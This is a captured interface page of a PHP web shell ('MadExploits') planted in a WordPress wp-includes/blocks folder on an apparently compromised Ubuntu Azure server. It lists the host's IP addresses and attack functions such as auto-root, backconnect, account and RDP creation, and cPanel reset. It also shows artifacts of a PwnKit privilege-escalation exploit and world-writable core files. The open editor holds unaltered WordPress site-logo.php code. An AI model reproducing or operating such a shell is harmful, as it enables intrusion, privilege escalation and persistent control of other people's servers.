Linux quad-clini-stageVM 5.4.0-1109-azure #115~18.04.1-Ubuntu SMP Mon May 22 20:06:37 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 10.2.0.4 | : 3.17.78.182
Cant Read [ /etc/named.conf ]
7.4.25
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwxrwxrwx
audio
[ DIR ]
drwxrwxrwx
avatar
[ DIR ]
drwxrwxrwx
block
[ DIR ]
drwxrwxrwx
button
[ DIR ]
drwxrwxrwx
buttons
[ DIR ]
drwxrwxrwx
calendar
[ DIR ]
drwxrwxrwx
categories
[ DIR ]
drwxrwxrwx
code
[ DIR ]
drwxrwxrwx
column
[ DIR ]
drwxrwxrwx
columns
[ DIR ]
drwxrwxrwx
comment-author-name
[ DIR ]
drwxrwxrwx
comment-content
[ DIR ]
drwxrwxrwx
comment-date
[ DIR ]
drwxrwxrwx
comment-edit-link
[ DIR ]
drwxrwxrwx
comment-reply-link
[ DIR ]
drwxrwxrwx
comment-template
[ DIR ]
drwxrwxrwx
comments
[ DIR ]
drwxrwxrwx
comments-pagination
[ DIR ]
drwxrwxrwx
comments-pagination-next
[ DIR ]
drwxrwxrwx
comments-pagination-numbers
[ DIR ]
drwxrwxrwx
comments-pagination-previous
[ DIR ]
drwxrwxrwx
comments-title
[ DIR ]
drwxrwxrwx
cover
[ DIR ]
drwxrwxrwx
embed
[ DIR ]
drwxrwxrwx
file
[ DIR ]
drwxrwxrwx
freeform
[ DIR ]
drwxrwxrwx
gallery
[ DIR ]
drwxrwxrwx
group
[ DIR ]
drwxrwxrwx
heading
[ DIR ]
drwxrwxrwx
home-link
[ DIR ]
drwxrwxrwx
html
[ DIR ]
drwxrwxrwx
image
[ DIR ]
drwxrwxrwx
latest-comments
[ DIR ]
drwxrwxrwx
latest-posts
[ DIR ]
drwxrwxrwx
legacy-widget
[ DIR ]
drwxrwxrwx
list
[ DIR ]
drwxrwxrwx
list-item
[ DIR ]
drwxrwxrwx
loginout
[ DIR ]
drwxrwxrwx
media-text
[ DIR ]
drwxrwxrwx
missing
[ DIR ]
drwxrwxrwx
more
[ DIR ]
drwxrwxrwx
navigation
[ DIR ]
drwxrwxrwx
navigation-link
[ DIR ]
drwxrwxrwx
navigation-submenu
[ DIR ]
drwxrwxrwx
nextpage
[ DIR ]
drwxrwxrwx
page-list
[ DIR ]
drwxrwxrwx
page-list-item
[ DIR ]
drwxrwxrwx
paragraph
[ DIR ]
drwxrwxrwx
pattern
[ DIR ]
drwxrwxrwx
post-author
[ DIR ]
drwxrwxrwx
post-author-biography
[ DIR ]
drwxrwxrwx
post-author-name
[ DIR ]
drwxrwxrwx
post-comments-form
[ DIR ]
drwxrwxrwx
post-content
[ DIR ]
drwxrwxrwx
post-date
[ DIR ]
drwxrwxrwx
post-excerpt
[ DIR ]
drwxrwxrwx
post-featured-image
[ DIR ]
drwxrwxrwx
post-navigation-link
[ DIR ]
drwxrwxrwx
post-template
[ DIR ]
drwxrwxrwx
post-terms
[ DIR ]
drwxrwxrwx
post-title
[ DIR ]
drwxrwxrwx
preformatted
[ DIR ]
drwxrwxrwx
pullquote
[ DIR ]
drwxrwxrwx
query
[ DIR ]
drwxrwxrwx
query-no-results
[ DIR ]
drwxrwxrwx
query-pagination
[ DIR ]
drwxrwxrwx
query-pagination-next
[ DIR ]
drwxrwxrwx
query-pagination-numbers
[ DIR ]
drwxrwxrwx
query-pagination-previous
[ DIR ]
drwxrwxrwx
query-title
[ DIR ]
drwxrwxrwx
quote
[ DIR ]
drwxrwxrwx
read-more
[ DIR ]
drwxrwxrwx
rss
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
separator
[ DIR ]
drwxrwxrwx
shortcode
[ DIR ]
drwxrwxrwx
site-logo
[ DIR ]
drwxrwxrwx
site-tagline
[ DIR ]
drwxrwxrwx
site-title
[ DIR ]
drwxrwxrwx
social-link
[ DIR ]
drwxrwxrwx
social-links
[ DIR ]
drwxrwxrwx
spacer
[ DIR ]
drwxrwxrwx
table
[ DIR ]
drwxrwxrwx
tag-cloud
[ DIR ]
drwxrwxrwx
template-part
[ DIR ]
drwxrwxrwx
term-description
[ DIR ]
drwxrwxrwx
text-columns
[ DIR ]
drwxrwxrwx
verse
[ DIR ]
drwxrwxrwx
video
[ DIR ]
drwxrwxrwx
widget-group
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
archives.php
2.89
KB
-rwxrwxrwx
avatar.php
5.31
KB
-rwxrwxrwx
block.php
1.57
KB
-rwxrwxrwx
blocks-json.php
110.42
KB
-rwxrwxrwx
calendar.php
6.03
KB
-rwxrwxrwx
categories.php
2.78
KB
-rwxrwxrwx
comment-author-name.php
2.05
KB
-rwxrwxrwx
comment-content.php
2.36
KB
-rwxrwxrwx
comment-date.php
1.56
KB
-rwxrwxrwx
comment-edit-link.php
1.64
KB
-rwxrwxrwx
comment-reply-link.php
1.99
KB
-rwxrwxrwx
comment-template.php
3.58
KB
-rwxrwxrwx
comments-pagination-next.php
1.8
KB
-rwxrwxrwx
comments-pagination-numbers.ph...
1.56
KB
-rwxrwxrwx
comments-pagination-previous.p...
1.6
KB
-rwxrwxrwx
comments-pagination.php
1.13
KB
-rwxrwxrwx
comments-title.php
2.67
KB
-rwxrwxrwx
comments.php
6.5
KB
-rwxrwxrwx
cover.php
2.43
KB
-rwxrwxrwx
file.php
1.56
KB
-rwxrwxrwx
gallery.php
4.85
KB
-rwxrwxrwx
heading.php
1.23
KB
-rwxrwxrwx
home-link.php
4.74
KB
-rwxrwxrwx
image.php
1.26
KB
-rwxrwxrwx
index.php
779
B
-rwxrwxrwx
latest-comments.php
4.88
KB
-rwxrwxrwx
latest-posts.php
7.43
KB
-rwxrwxrwx
legacy-widget.php
3.81
KB
-rwxrwxrwx
loginout.php
1.35
KB
-rwxrwxrwx
navigation-link.php
11.51
KB
-rwxrwxrwx
navigation-submenu.php
10.77
KB
-rwxrwxrwx
navigation.php
30.54
KB
-rwxrwxrwx
page-list.php
13.14
KB
-rwxrwxrwx
pattern.php
921
B
-rwxrwxrwx
post-author-biography.php
1.41
KB
-rwxrwxrwx
post-author-name.php
1.71
KB
-rwxrwxrwx
post-author.php
2.5
KB
-rwxrwxrwx
post-comments-form.php
2.68
KB
-rwxrwxrwx
post-content.php
2.28
KB
-rwxrwxrwx
post-date.php
1.96
KB
-rwxrwxrwx
post-excerpt.php
2.56
KB
-rwxrwxrwx
post-featured-image.php
7.19
KB
-rwxrwxrwx
post-navigation-link.php
4.37
KB
-rwxrwxrwx
post-template.php
4.06
KB
-rwxrwxrwx
post-terms.php
3.21
KB
-rwxrwxrwx
post-title.php
1.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.76
KB
-rwxrwxrwx
query-pagination-next.php
2.66
KB
-rwxrwxrwx
query-pagination-numbers.php
3.73
KB
-rwxrwxrwx
query-pagination-previous.php
2.12
KB
-rwxrwxrwx
query-pagination.php
1.11
KB
-rwxrwxrwx
query-title.php
2.08
KB
-rwxrwxrwx
query.php
304
B
-rwxrwxrwx
read-more.php
1.75
KB
-rwxrwxrwx
require-dynamic-blocks.php
3.74
KB
-rwxrwxrwx
require-static-blocks.php
543
B
-rwxrwxrwx
rss.php
3.83
KB
-rwxrwxrwx
search.php
19.94
KB
-rwxrwxrwx
shortcode.php
697
B
-rwxrwxrwx
site-logo.php
5.67
KB
-rwxrwxrwx
site-tagline.php
994
B
-rwxrwxrwx
site-title.php
1.73
KB
-rwxrwxrwx
social-link.php
59.56
KB
-rwxrwxrwx
tag-cloud.php
1.37
KB
-rwxrwxrwx
template-part.php
9.43
KB
-rwxrwxrwx
term-description.php
1.27
KB
-rwxrwxrwx
widget-group.php
2.12
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : site-logo.php
<?php /** * Server-side rendering of the `core/site-logo` block. * * @package WordPress */ /** * Renders the `core/site-logo` block on the server. * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_site_logo( $attributes ) { $adjust_width_height_filter = function ( $image ) use ( $attributes ) { if ( empty( $attributes['width'] ) || empty( $image ) || ! $image[1] || ! $image[2] ) { return $image; } $height = (float) $attributes['width'] / ( (float) $image[1] / (float) $image[2] ); return array( $image[0], (int) $attributes['width'], (int) $height ); }; add_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter ); $custom_logo = get_custom_logo(); remove_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter ); if ( empty( $custom_logo ) ) { return ''; // Return early if no custom logo is set, avoiding extraneous wrapper div. } if ( ! $attributes['isLink'] ) { // Remove the link. $custom_logo = preg_replace( '#<a.*?>(.*?)</a>#i', '\1', $custom_logo ); } if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) { // Add the link target after the rel="home". // Add an aria-label for informing that the page opens in a new tab. $aria_label = 'aria-label="' . esc_attr__( '(Home link, opens in a new tab)' ) . '"'; $custom_logo = str_replace( 'rel="home"', 'rel="home" target="' . esc_attr( $attributes['linkTarget'] ) . '"' . $aria_label, $custom_logo ); } $classnames = array(); if ( empty( $attributes['width'] ) ) { $classnames[] = 'is-default-size'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); $html = sprintf( '<div %s>%s</div>', $wrapper_attributes, $custom_logo ); return $html; } /** * Register a core site setting for a site logo */ function register_block_core_site_logo_setting() { register_setting( 'general', 'site_logo', array( 'show_in_rest' => array( 'name' => 'site_logo', ), 'type' => 'integer', 'description' => __( 'Site logo.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 ); /** * Register a core site setting for a site icon */ function register_block_core_site_icon_setting() { register_setting( 'general', 'site_icon', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'Site icon.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 ); /** * Registers the `core/site-logo` block on the server. */ function register_block_core_site_logo() { register_block_type_from_metadata( __DIR__ . '/site-logo', array( 'render_callback' => 'render_block_core_site_logo', ) ); } add_action( 'init', 'register_block_core_site_logo' ); /** * Overrides the custom logo with a site logo, if the option is set. * * @param string $custom_logo The custom logo set by a theme. * * @return string The site logo if set. */ function _override_custom_logo_theme_mod( $custom_logo ) { $site_logo = get_option( 'site_logo' ); return false === $site_logo ? $custom_logo : $site_logo; } add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' ); /** * Updates the site_logo option when the custom_logo theme-mod gets updated. * * @param mixed $value Attachment ID of the custom logo or an empty value. * @return mixed */ function _sync_custom_logo_to_site_logo( $value ) { if ( empty( $value ) ) { delete_option( 'site_logo' ); } else { update_option( 'site_logo', $value ); } return $value; } add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' ); /** * Deletes the site_logo when the custom_logo theme mod is removed. * * @param array $old_value Previous theme mod settings. * @param array $value Updated theme mod settings. */ function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } // If the custom_logo is being unset, it's being removed from theme mods. if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) { delete_option( 'site_logo' ); } } /** * Deletes the site logo when all theme mods are being removed. */ function _delete_site_logo_on_remove_theme_mods() { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } if ( false !== get_theme_support( 'custom-logo' ) ) { delete_option( 'site_logo' ); } } /** * Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`. * Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`. * * Runs on `setup_theme` to account for dynamically-switched themes in the Customizer. */ function _delete_site_logo_on_remove_custom_logo_on_setup_theme() { $theme = get_option( 'stylesheet' ); add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 ); add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' ); } add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 ); /** * Removes the custom_logo theme-mod when the site_logo option gets deleted. */ function _delete_custom_logo_on_remove_site_logo() { global $_ignore_site_logo_changes; // Prevent _delete_site_logo_on_remove_custom_logo and // _delete_site_logo_on_remove_theme_mods from firing and causing an // infinite loop. $_ignore_site_logo_changes = true; // Remove the custom logo. remove_theme_mod( 'custom_logo' ); $_ignore_site_logo_changes = false; } add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' );
Close